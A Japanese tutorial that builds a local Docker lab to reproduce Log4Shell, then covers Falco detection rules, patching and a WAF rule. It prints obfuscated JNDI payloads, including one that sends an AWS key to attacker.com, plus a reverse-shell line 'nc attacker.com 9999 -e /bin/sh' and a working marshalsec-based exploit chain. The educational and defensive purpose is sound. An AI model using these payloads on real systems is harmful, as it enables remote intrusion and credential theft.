Log4Shell (CVE-2021-44228) を手元で再現する - Docker完全検証環境
はじめに
2021年12月、IT業界を震撼させたLog4Shell(CVE-2021-44228) は、Java向けロギングライブラリ「Apache Log4j」に存在した深刻な脆弱性です。CVSS スコア**10.0(最高値)**を記録し、世界中の何百万ものシステムが影響を受けました。
本記事では、Log4Shellの脅威を理解し、ローカルのDocker環境で安全に再現する方法を解説します。実際に攻撃を体験することで、この脆弱性の深刻さと対策の重要性を学べます。
⚠️ 重要な注意事項
この記事は教育目的のみです。
- 本番環境では絶対に実行しないでください
- 他人のシステムに対する攻撃は違法です
- 自分が管理するローカル環境でのみ実施してください
対象読者
- Log4Shellの脅威を理解したいエンジニア
- セキュリティ脆弱性を実際に体験したい方
- 脆弱性診断やペネトレーションテストに興味がある方
- DevSecOpsに携わる方
この記事で学べること
- Log4Shellの仕組みと攻撃手法
- Docker環境での安全な検証方法
- JNDI Injection攻撃の実践
- 脆弱性の修正方法
- Sysdigによるランタイム検出
目次
1. Log4Shellとは
概要
Log4Shell (CVE-2021-44228) は、Apache Log4j 2ライブラリに存在したリモートコード実行(RCE: Remote Code Execution)の脆弱性です。
基本情報:
- CVE ID: CVE-2021-44228
- CVSS スコア: 10.0 (Critical)
- 影響: リモートコード実行
- 発見日: 2021年12月9日
- 影響を受けるバージョン: Log4j 2.0-beta9 ~ 2.14.1
なぜこれほど深刻だったのか?
┌──────────────────────────────────────────────────────┐
│ Log4Shellが深刻だった理由 │
├──────────────────────────────────────────────────────┤
│ 1. 広範な影響 │
│ • Log4jは世界中で使用されている │
│ • Apacheエコシステム全体に影響 │
│ • Minecraft、iCloud、Steamなども影響 │
│ │
│ 2. 攻撃の容易さ │
│ • 単純な文字列だけで攻撃可能 │
│ • 認証不要 │
│ • 1行のcurlコマンドで攻撃できる │
│ │
│ 3. 検出の困難さ │
│ • ログにしか現れない │
│ • 従来のセキュリティツールでは検出困難 │
│ • サプライチェーン全体の調査が必要 │
│ │
│ 4. 修正の複雑さ │
│ • 依存関係が深い │
│ • ライブラリの特定が困難 │
│ • すべてのシステムの洗い出しが必要 │
└──────────────────────────────────────────────────────┘
実際の被害
- Microsoft: Azure環境への侵入試行
- Apple: iCloudへの攻撃
- Tesla: 内部システムへの侵入試行
- Steam: ゲームプラットフォームへの攻撃
- Minecraft: 大規模な攻撃(数百万回の攻撃試行)
2. 攻撃の仕組み
JNDI Injection攻撃
Log4Shellは JNDI (Java Naming and Directory Interface) Injection 攻撃を利用します。
攻撃フロー全体図
┌─────────────────────────────────────────────────────────────┐
│ 攻撃の流れ │
└─────────────────────────────────────────────────────────────┘
1. 攻撃者がペイロードを送信
┌──────────────────────────────────────────┐
│ curl -H 'User-Agent: │
│ ${jndi:ldap://attacker.com/Evil}' │
│ http://victim.com │
└──────────────────────────────────────────┘
↓
2. 脆弱なサーバーがリクエストを受信
┌──────────────────────────────────────────┐
│ logger.info("User-Agent: {}", userAgent)│
│ ← ここでLog4jがJNDI文字列を処理 │
└──────────────────────────────────────────┘
↓
3. Log4jがJNDI Lookupを実行
┌──────────────────────────────────────────┐
│ ${jndi:ldap://attacker.com/Evil} │
│ ↓ │
│ LDAPサーバーに接続 │
└──────────────────────────────────────────┘
↓
4. 攻撃者のLDAPサーバーが応答
┌──────────────────────────────────────────┐
│ "Evil.classをダウンロードしてください" │
│ Location: http://attacker.com/Evil.class│
└──────────────────────────────────────────┘
↓
5. 脆弱なサーバーがEvil.classをダウンロード
┌──────────────────────────────────────────┐
│ wget http://attacker.com/Evil.class │
└──────────────────────────────────────────┘
↓
6. Evil.classが実行される
┌──────────────────────────────────────────┐
│ public class Evil { │
│ static { │
│ Runtime.getRuntime().exec( │
│ "nc attacker.com 9999 -e /bin/sh" │
│ ); │
│ } │
│ } │
└──────────────────────────────────────────┘
↓
7. 攻撃者がシェルを取得
┌──────────────────────────────────────────┐
│ $ whoami │
│ root │
│ $ ls │
│ database.db passwords.txt ... │
└──────────────────────────────────────────┘
ペイロードの例
# 基本的なペイロード
${jndi:ldap://attacker.com/Evil}
# 難読化されたペイロード
${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/Evil}
# ネストされたペイロード
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/Evil}
# 環境変数を使ったペイロード
${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.attacker.com/Evil}
どこで発動するか?
Log4jがログに記録するあらゆる場所:
// 1. HTTPヘッダー
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
logger.info("X-Forwarded-For: {}", request.getHeader("X-Forwarded-For"));
// 2. クエリパラメータ
logger.info("Search query: {}", request.getParameter("q"));
// 3. POSTデータ
logger.info("Username: {}", username);
// 4. エラーメッセージ
logger.error("Login failed for user: {}", username);
// 5. APIレスポンス
logger.info("API response: {}", apiResponse);
3. 検証環境の構築
前提条件
- Docker Desktop インストール済み
- Docker Compose インストール済み
- 基本的なコマンドライン知識
アーキテクチャ
┌─────────────────────────────────────────────────────┐
│ Docker環境 │
├─────────────────────────────────────────────────────┤
│ │
│ [vulnerable-app] ポート: 8080 │
│ • Log4j 2.14.1 (脆弱) │
│ • 簡易Webサーバー │
│ • User-Agentをログに記録 │
│ │
│ [ldap-server] ポート: 1389, 8888 │
│ • marshalsec(JNDI攻撃ツール) │
│ • LDAPサーバー │
│ • HTTPサーバー(Evil.class配信) │
│ │
│ [attacker] ポート: 9999 │
│ • netcat(リバースシェル受信) │
│ │
└─────────────────────────────────────────────────────┘
ディレクトリ構成
log4shell-local-poc/
├── docker-compose.yml
├── vulnerable-app/
│ ├── Dockerfile
│ ├── VulnerableApp.java
│ └── log4j2.xml
├── ldap-server/
│ ├── Dockerfile
│ ├── Exploit.java
│ └── start.sh
└── README.md
ファイルの作成
1. docker-compose.yml
version: '3.8'
services:
# 脆弱なLog4jアプリケーション(被害者)
vulnerable-app:
build:
context: ./vulnerable-app
dockerfile: Dockerfile
container_name: log4shell-vulnerable
ports:
- "8080:8080"
networks:
- poc-network
environment:
- JAVA_OPTS=-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
# LDAP攻撃サーバー
ldap-server:
build:
context: ./ldap-server
dockerfile: Dockerfile
container_name: log4shell-ldap
ports:
- "1389:1389"
- "8888:8888"
networks:
- poc-network
volumes:
- ./ldap-server:/opt/ldap
# 攻撃者のリスナー(リバースシェル受信)
attacker:
image: alpine:latest
container_name: log4shell-attacker
command: sh -c "apk add --no-cache netcat-openbsd && nc -lvnp 9999"
ports:
- "9999:9999"
networks:
- poc-network
networks:
poc-network:
driver: bridge
2. vulnerable-app/Dockerfile
FROM openjdk:8-jdk-alpine
WORKDIR /app
# 脆弱なLog4j 2.14.1をダウンロード
RUN apk add --no-cache wget && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar
# アプリケーションのコピー
COPY VulnerableApp.java /app/
COPY log4j2.xml /app/
# コンパイル
RUN javac -cp "log4j-core-2.14.1.jar:log4j-api-2.14.1.jar" VulnerableApp.java
# 実行
CMD ["java", "-cp", ".:log4j-core-2.14.1.jar:log4j-api-2.14.1.jar", "VulnerableApp"]
EXPOSE 8080
3. vulnerable-app/VulnerableApp.java
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
public class VulnerableApp {
private static final Logger logger = LogManager.getLogger(VulnerableApp.class);
public static void main(String[] args) throws IOException {
HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0);
server.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange exchange) throws IOException {
// User-Agentヘッダーをログに記録(脆弱なポイント)
String userAgent = exchange.getRequestHeaders().getFirst("User-Agent");
String xForwardedFor = exchange.getRequestHeaders().getFirst("X-Forwarded-For");
// ⚠️ ここでLog4Shellの脆弱性が発動する
logger.info("Received request from User-Agent: {}", userAgent);
logger.info("X-Forwarded-For: {}", xForwardedFor);
String response = "Hello! Your request has been logged.\\n";
response += "User-Agent: " + userAgent + "\\n";
response += "X-Forwarded-For: " + xForwardedFor + "\\n";
exchange.sendResponseHeaders(200, response.length());
OutputStream os = exchange.getResponseBody();
os.write(response.getBytes());
os.close();
}
});
server.setExecutor(null);
logger.info("Starting vulnerable Log4j server on port 8080...");
System.out.println("🔓 Vulnerable Log4j server started on http://localhost:8080");
System.out.println("⚠️ Log4j version: 2.14.1 (VULNERABLE to CVE-2021-44228)");
server.start();
}
}
4. vulnerable-app/log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
5. ldap-server/Dockerfile
FROM openjdk:8-jdk-alpine
WORKDIR /opt/ldap
# 必要なツールをインストール
RUN apk add --no-cache wget python3 git maven
# marshalsec(JNDI攻撃ツール)をビルド
RUN git clone https://github.com/mbechler/marshalsec.git /tmp/marshalsec && \
cd /tmp/marshalsec && \
mvn clean package -DskipTests && \
cp target/marshalsec-*-SNAPSHOT-all.jar /opt/ldap/marshalsec.jar
# 悪意のあるペイロードクラス
COPY Exploit.java /opt/ldap/
RUN javac Exploit.java
# 起動スクリプト
COPY start.sh /opt/ldap/
RUN chmod +x /opt/ldap/start.sh
EXPOSE 1389 8888
CMD ["/opt/ldap/start.sh"]
6. ldap-server/Exploit.java
public class Exploit {
static {
try {
// ⚠️ 実際の攻撃では、ここでリバースシェルを実行するが、
// 教育目的なので安全なコマンドを実行
String[] cmd = {
"/bin/sh",
"-c",
"echo '[🚨 EXPLOIT] Log4Shell vulnerability exploited!' && " +
"echo '[🚨 EXPLOIT] Hostname: '$(hostname) && " +
"echo '[🚨 EXPLOIT] User: '$(whoami) && " +
"echo '[🚨 EXPLOIT] This is a proof of concept.' && " +
"echo '[🚨 EXPLOIT] In real attack, attacker would get shell access.'"
};
Runtime.getRuntime().exec(cmd);
System.out.println("[LDAP SERVER] ✅ Exploit.class loaded!");
System.out.println("[LDAP SERVER] ⚠️ In real attack, attacker would execute malicious payload here.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
7. ldap-server/start.sh
#!/bin/sh
echo "[LDAP SERVER] 🌐 Starting HTTP server on port 8888 for serving Exploit.class..."
cd /opt/ldap
python3 -m http.server 8888 &
sleep 2
echo "[LDAP SERVER] 🔌 Starting LDAP server on port 1389..."
echo "[LDAP SERVER] ⏳ Waiting for exploit requests..."
# marshalsecでLDAPサーバーを起動
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://log4shell-ldap:8888/#Exploit" 1389
環境の起動
# ディレクトリに移動
cd log4shell-local-poc
# Docker環境を起動
docker-compose up --build -d
# ログを確認
docker-compose logs -f
期待される出力:
log4shell-vulnerable | 🔓 Vulnerable Log4j server started on http://localhost:8080
log4shell-vulnerable | ⚠️ Log4j version: 2.14.1 (VULNERABLE to CVE-2021-44228)
log4shell-ldap | [LDAP SERVER] 🌐 Starting HTTP server on port 8888
log4shell-ldap | [LDAP SERVER] 🔌 Starting LDAP server on port 1389
log4shell-ldap | [LDAP SERVER] ⏳ Waiting for exploit requests...
4. 攻撃の実行
ステップ 1: 通常のリクエスト(安全確認)
curl http://localhost:8080
期待される出力:
Hello! Your request has been logged.
User-Agent: curl/7.x.x
ログ確認:
docker logs log4shell-vulnerable
21:30:15.123 [main] INFO VulnerableApp - Received request from User-Agent: curl/7.x.x
ステップ 2: Log4Shell攻撃の実行
# User-Agentヘッダーに攻撃ペイロードを挿入
curl -H 'User-Agent: ${jndi:ldap://log4shell-ldap:1389/Exploit}' http://localhost:8080
または:
# X-Forwarded-Forヘッダーを使った攻撃
curl -H 'X-Forwarded-For: ${jndi:ldap://log4shell-ldap:1389/Exploit}' http://localhost:8080
ステップ 3: 攻撃成功の確認
脆弱なアプリケーションのログ
docker logs log4shell-vulnerable
攻撃が成功すると以下のログが表示されます:
21:35:42.456 [main] INFO VulnerableApp - Received request from User-Agent: ${jndi:ldap://log4shell-ldap:1389/Exploit}
[🚨 EXPLOIT] Log4Shell vulnerability exploited!
[🚨 EXPLOIT] Hostname: a1b2c3d4e5f6
[🚨 EXPLOIT] User: root
[🚨 EXPLOIT] This is a proof of concept.
[🚨 EXPLOIT] In real attack, attacker would get shell access.
LDAPサーバーのログ
docker logs log4shell-ldap
[LDAP SERVER] ✅ Exploit.class loaded!
[LDAP SERVER] ⚠️ In real attack, attacker would execute malicious payload here.
Send LDAP reference result for Exploit redirecting to http://log4shell-ldap:8888/Exploit.class
攻撃が成功した証拠
┌───────────────────────────────────────────────────────┐
│ 攻撃成功のログ │
├───────────────────────────────────────────────────────┤
│ │
│ 1. 脆弱なアプリがJNDI文字列を受信 │
│ ✓ User-Agent: ${jndi:ldap://...} │
│ │
│ 2. Log4jがLDAPサーバーに接続 │
│ ✓ Connecting to log4shell-ldap:1389 │
│ │
│ 3. Exploit.classがダウンロードされる │
│ ✓ HTTP GET http://log4shell-ldap:8888/Exploit │
│ │
│ 4. Exploit.classが実行される │
│ ✓ [EXPLOIT] Log4Shell vulnerability exploited! │
│ │
│ 5. 攻撃者がシステム情報を取得 │
│ ✓ Hostname: a1b2c3d4e5f6 │
│ ✓ User: root │
│ │
└───────────────────────────────────────────────────────┘
5. Sysdigによる検出
Sysdigはランタイムでこの攻撃を検出できます。
Sysdig Falcoルール
# Log4Shell攻撃検出ルール
- rule: Log4Shell JNDI Exploit Attempt
desc: Detect Log4Shell (CVE-2021-44228) exploitation attempt
condition: >
spawned_process and
(proc.cmdline contains "jndi:ldap" or
proc.cmdline contains "jndi:rmi" or
proc.cmdline contains "jndi:dns" or
proc.cmdline contains "jndi:nis")
output: >
Log4Shell exploit attempt detected
(user=%user.name command=%proc.cmdline container=%container.name
parent=%proc.pname image=%container.image.repository)
priority: CRITICAL
tags: [exploit, cve-2021-44228, log4shell]
- rule: Log4Shell Suspicious Java Process
desc: Detect suspicious Java process spawning shell
condition: >
spawned_process and
proc.pname = "java" and
proc.name in (sh, bash, dash, zsh) and
not proc.cmdline contains "maven"
output: >
Suspicious shell spawned from Java process (possible Log4Shell)
(user=%user.name command=%proc.cmdline parent=%proc.pname
container=%container.name)
priority: WARNING
tags: [log4shell, suspicious]
- rule: Log4Shell Network Connection to LDAP
desc: Detect outbound LDAP connection from Java process
condition: >
outbound and
fd.sport != 389 and
fd.dport = 389 and
proc.name = "java"
output: >
Java process making outbound LDAP connection (possible Log4Shell)
(connection=%fd.name user=%user.name command=%proc.cmdline
container=%container.name)
priority: WARNING
tags: [log4shell, network]
Sysdig Secureでの検出
Sysdig Secureを使用している場合、以下のイベントが検出されます:
┌──────────────────────────────────────────────────────────┐
│ Sysdig Secure - Policy Event │
├──────────────────────────────────────────────────────────┤
│ 🔴 CRITICAL │
│ │
│ Policy: Log4Shell JNDI Exploit Attempt │
│ Rule: Log4Shell JNDI Exploit Attempt │
│ │
│ Container: log4shell-vulnerable │
│ Image: log4shell-vulnerable:latest │
│ Process: java │
│ Command: java -cp .:log4j-core-2.14.1.jar:... │
│ │
│ Details: │
│ • JNDI lookup detected: jndi:ldap://log4shell-ldap:1389│
│ • Outbound connection to LDAP server │
│ • Suspicious class loading: Exploit.class │
│ • Shell execution from Java process │
│ │
│ Recommended Actions: │
│ 1. Isolate container immediately │
│ 2. Collect forensic data │
│ 3. Review logs for data exfiltration │
│ 4. Update Log4j to 2.17.0 or later │
└──────────────────────────────────────────────────────────┘
6. 対策と修正
修正方法 1: Log4jのアップグレード
最も重要な対策は、Log4jを最新バージョンにアップグレードすることです。
脆弱なバージョン
- Log4j 2.0-beta9 ~ 2.14.1: 脆弱
- Log4j 2.15.0: 部分的修正(CVE-2021-45046)
- Log4j 2.16.0: さらなる修正(CVE-2021-45105)
- Log4j 2.17.0以降: 完全に修正
Dockerfileの修正
# 修正前(脆弱)
RUN wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar
# 修正後(安全)
RUN wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.17.0/log4j-core-2.17.0.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.17.0/log4j-api-2.17.0.jar
Maven/Gradleでの修正
<!-- Maven pom.xml -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.0</version> <!-- 2.17.0以降に更新 -->
</dependency>
// Gradle build.gradle
dependencies {
implementation 'org.apache.logging.log4j:log4j-core:2.17.0' // 2.17.0以降に更新
}
修正方法 2: JVM起動オプション
アップグレードが即座にできない場合の緊急回避策:
# JNDI Lookupを無効化
java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
または環境変数:
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
修正方法 3: log4j-core.jarの直接修正
# JndiLookup.classを削除(Log4j 2.10以降)
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
修正の確認
修正後、同じ攻撃を試してみます:
# 環境を再ビルド
docker-compose down
docker-compose up --build -d
# 攻撃を試行
curl -H 'User-Agent: ${jndi:ldap://log4shell-ldap:1389/Exploit}' http://localhost:8080
期待される結果(修正後):
docker logs log4shell-vulnerable
# Log4j 2.17.0では、JNDI Lookupが実行されない
21:40:15.789 [main] INFO VulnerableApp - Received request from User-Agent: ${jndi:ldap://log4shell-ldap:1389/Exploit}
# ↑ 文字列がそのままログに記録される(実行されない)
WAFによる防御
# Nginx WAFルール
location / {
# JNDI文字列をブロック
if ($http_user_agent ~* "\$\{jndi:") {
return 403;
}
if ($http_x_forwarded_for ~* "\$\{jndi:") {
return 403;
}
proxy_pass http://backend;
}
包括的な対策チェックリスト
□ Log4jを2.17.0以降にアップグレード
□ すべての依存関係を確認(transitive依存も含む)
□ JVM起動オプションでJNDI Lookupを無効化(緊急対応)
□ WAFでJNDI文字列をブロック
□ ランタイムセキュリティ監視(Sysdig、Falco)を導入
□ 定期的な脆弱性スキャン(Snyk、Trivy)
□ インシデント対応計画の策定
□ ログ監視の強化
7. まとめ
Log4Shellから学んだこと
┌──────────────────────────────────────────────────────┐
│ Log4Shellの教訓 │
├──────────────────────────────────────────────────────┤
│ 1. サプライチェーンリスク │
│ • 依存ライブラリの脆弱性は致命的 │
│ • SBOMの重要性 │
│ • 依存関係の可視化が必須 │
│ │
│ 2. ランタイムセキュリティの重要性 │
│ • 静的スキャンだけでは不十分 │
│ • ランタイム検出が必須(Sysdig、Falco) │
│ • 異常動作の監視 │
│ │
│ 3. 迅速なパッチ適用 │
│ • 脆弱性公開から数時間で攻撃開始 │
│ • 自動化されたパッチ適用プロセス │
│ • ロールバック計画 │
│ │
│ 4. 多層防御 │
│ • 単一の対策に依存しない │
│ • WAF + ランタイム検出 + パッチ適用 │
│ • ネットワーク分離 │
└──────────────────────────────────────────────────────┘
今後の対策
- 定期的な脆弱性スキャン: Snyk、Trivyを活用
- ランタイムセキュリティ: Sysdig、Falcoの導入
- 依存関係管理: Dependabot、Renovateで自動更新
- SBOM管理: ソフトウェア部品表の維持
- インシデント対応訓練: 定期的な演習
クリーンアップ
# 環境の停止
docker-compose down
# イメージも削除
docker-compose down --rmi all
# ボリュームも削除
docker-compose down -v
参考リンク
- CVE-2021-44228 (NVD)
- Apache Log4j Security Vulnerabilities
- Sysdig Log4Shell Detection
- CISA Log4j Guidance
この記事が役に立ったら、いいねとストックをお願いします!
質問やフィードバックがあれば、コメント欄でお気軽にどうぞ!
⚠️ 再度の注意: この環境は教育目的のみです。実際の攻撃に使用しないでください。